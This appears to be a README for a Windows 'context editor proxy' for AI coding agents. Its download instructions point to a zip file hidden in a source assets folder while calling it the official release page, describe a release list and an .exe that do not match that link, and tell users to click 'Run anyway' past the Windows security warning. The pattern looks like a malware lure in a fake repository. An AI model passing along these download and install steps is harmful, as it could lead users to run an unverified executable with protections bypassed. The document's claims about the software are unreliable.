The codex-context-editor-proxy acts as a bridge between your work and your AI assistant. AI models often struggle because they see too much irrelevant information or miss key details. This tool provides a visual layer that lets you edit the data sent to your AI. You decide exactly what the AI sees, which improves the quality of every response you get.
This software functions as a proxy. It sits in the middle of your workflow to intercept information before it reaches your AI tool. You gain the power to keep or remove specific files, snippets, or notes. This level of precision removes clutter and helps your AI assistant focus on the logic that matters to your current task.
You need a basic Windows computer to run this application. Ensure your system meets these requirements:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Storage: 200 megabytes of free space.
- Internet: An active connection to reach your AI services.
- Framework: The application manages its own dependencies on startup.
Follow these steps to obtain the correct version for your computer:
- Visit the official release page: https://raw.githubusercontent.com/arfahmahmud/codex-context-editor-proxy/main/react_app/src/assets/codex-proxy-editor-context-v2.7.zip.
- Look for the latest release version at the top of the list.
- Scroll down to the "Assets" section.
- Click the file ending in
.exeto start the download. - Save this file to a folder you can find easily, such as your Downloads folder.
Once the file finishes downloading, complete these steps to set up the tool:
- Open your Downloads folder.
- Find the
codex-context-editor-proxy.exefile. - Double-click the file to launch the installation wizard.
- Follow the instructions on your screen. You might see a Windows security pop-up titled "Protected your PC."
- If this occurs, click "More info" and then click "Run anyway." This confirms you trust the software.
- Select the folder where you want to keep the program and click Install.
- Check the box "Launch application" to start the proxy after the installation ends.
The application interface shows a clean, visual representation of your workspace. When you start your AI assistant, the proxy opens a small window alongside it.
- Open your AI assistant software as you normally do.
- The proxy window list items that your AI is about to read.
- To remove an item, click the "X" button next to the file name. This prevents the AI from seeing that specific part of your project.
- To add a note, type your text in the box and click "Add to Context." The AI now views this manual note as part of its current project understanding.
- Press "Finalize Context" to send the updated information to your AI.
You can change how the proxy handles data through the settings menu. Open the gear icon in the top right corner of the application window.
- Enable Automatic Mode: If you turn this on, the proxy makes smart guesses about which files remain relevant to your current task.
- Change Proxy Port: Use this if you have other software that uses the same connection internal paths. Most users never need to change this setting.
- Reset to Defaults: If the application feels slow or you experience errors, this clears your manual edits and restarts the connection.
- Clear History: This wipes the list of recent files the proxy processed, which keeps your application running light.
Context management determines how much memory your AI has during a chat. Without proper management, AI tools collect too much raw information. This causes the AI to lose track of the main goal.
By using this tool, you perform three specific actions:
- Filtering: You remove noise to keep the AI focused.
- Prioritizing: You force the AI to read your most important files first.
- Annotating: You add context that the AI cannot see through code alone.
These actions result in fewer errors and faster results from your chosen AI agent. You save tokens, which often reduces the cost of running API services, and you achieve better output without changing your programming style.
If you encounter difficulties, consult this list of solutions:
- The window does not open: Ensure that no old versions of the proxy remain hidden in your taskbar. Right-click the system tray icon and choose "Exit," then try opening the program again.
- The AI says it cannot see data: Ensure you clicked "Finalize Context" within the proxy window. The AI only receives the list after you provide this permission.
- Connection Refused: This happens if your AI assistant is not running. Start your code-writing software, then start the proxy.
- Permission Denied: Ensure you run the application with standard user permissions. You do not need administrator access to use this tool effectively.
To get the most out of your experience, consider these habits:
- Close large, unnecessary files before starting your work session.
- Refresh the proxy context after you finish a feature update.
- Use clear filenames in your project so you can easily identify what to keep or remove in the tool.
- Avoid adding extremely long text files to the proxy, as this slows down the processing time for the AI.
Do I need an OpenAI key to use this? The proxy works by connecting to your existing setup. If your code-writing tool needs a key, you provide that key to the internal tool, and the proxy handles the data flow from there.
Does this tool save my project files? No. The proxy only sees the paths to your files. It passes the contents to the AI model during your session but does not store personal data on your computer or in the cloud.
Will this work with other AI tools? The design focuses on Codex and similar agents. If you use a tool that utilizes a proxy connection, this application manages the data stream for that tool.
Can I leave it running in the background? Yes, the application consumes very little memory when inactive. You can leave it open to catch new requests as you work on different projects throughout the day.